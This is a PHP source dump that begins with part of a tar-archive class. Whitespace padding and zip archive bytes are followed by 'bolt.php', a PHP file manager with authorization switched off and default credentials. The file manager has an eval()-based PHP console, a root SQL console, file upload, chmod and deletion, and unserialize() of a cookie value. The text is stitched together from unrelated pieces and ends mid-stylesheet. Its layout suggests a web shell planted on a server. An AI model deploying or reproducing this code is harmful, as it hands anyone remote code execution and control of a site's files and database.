		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
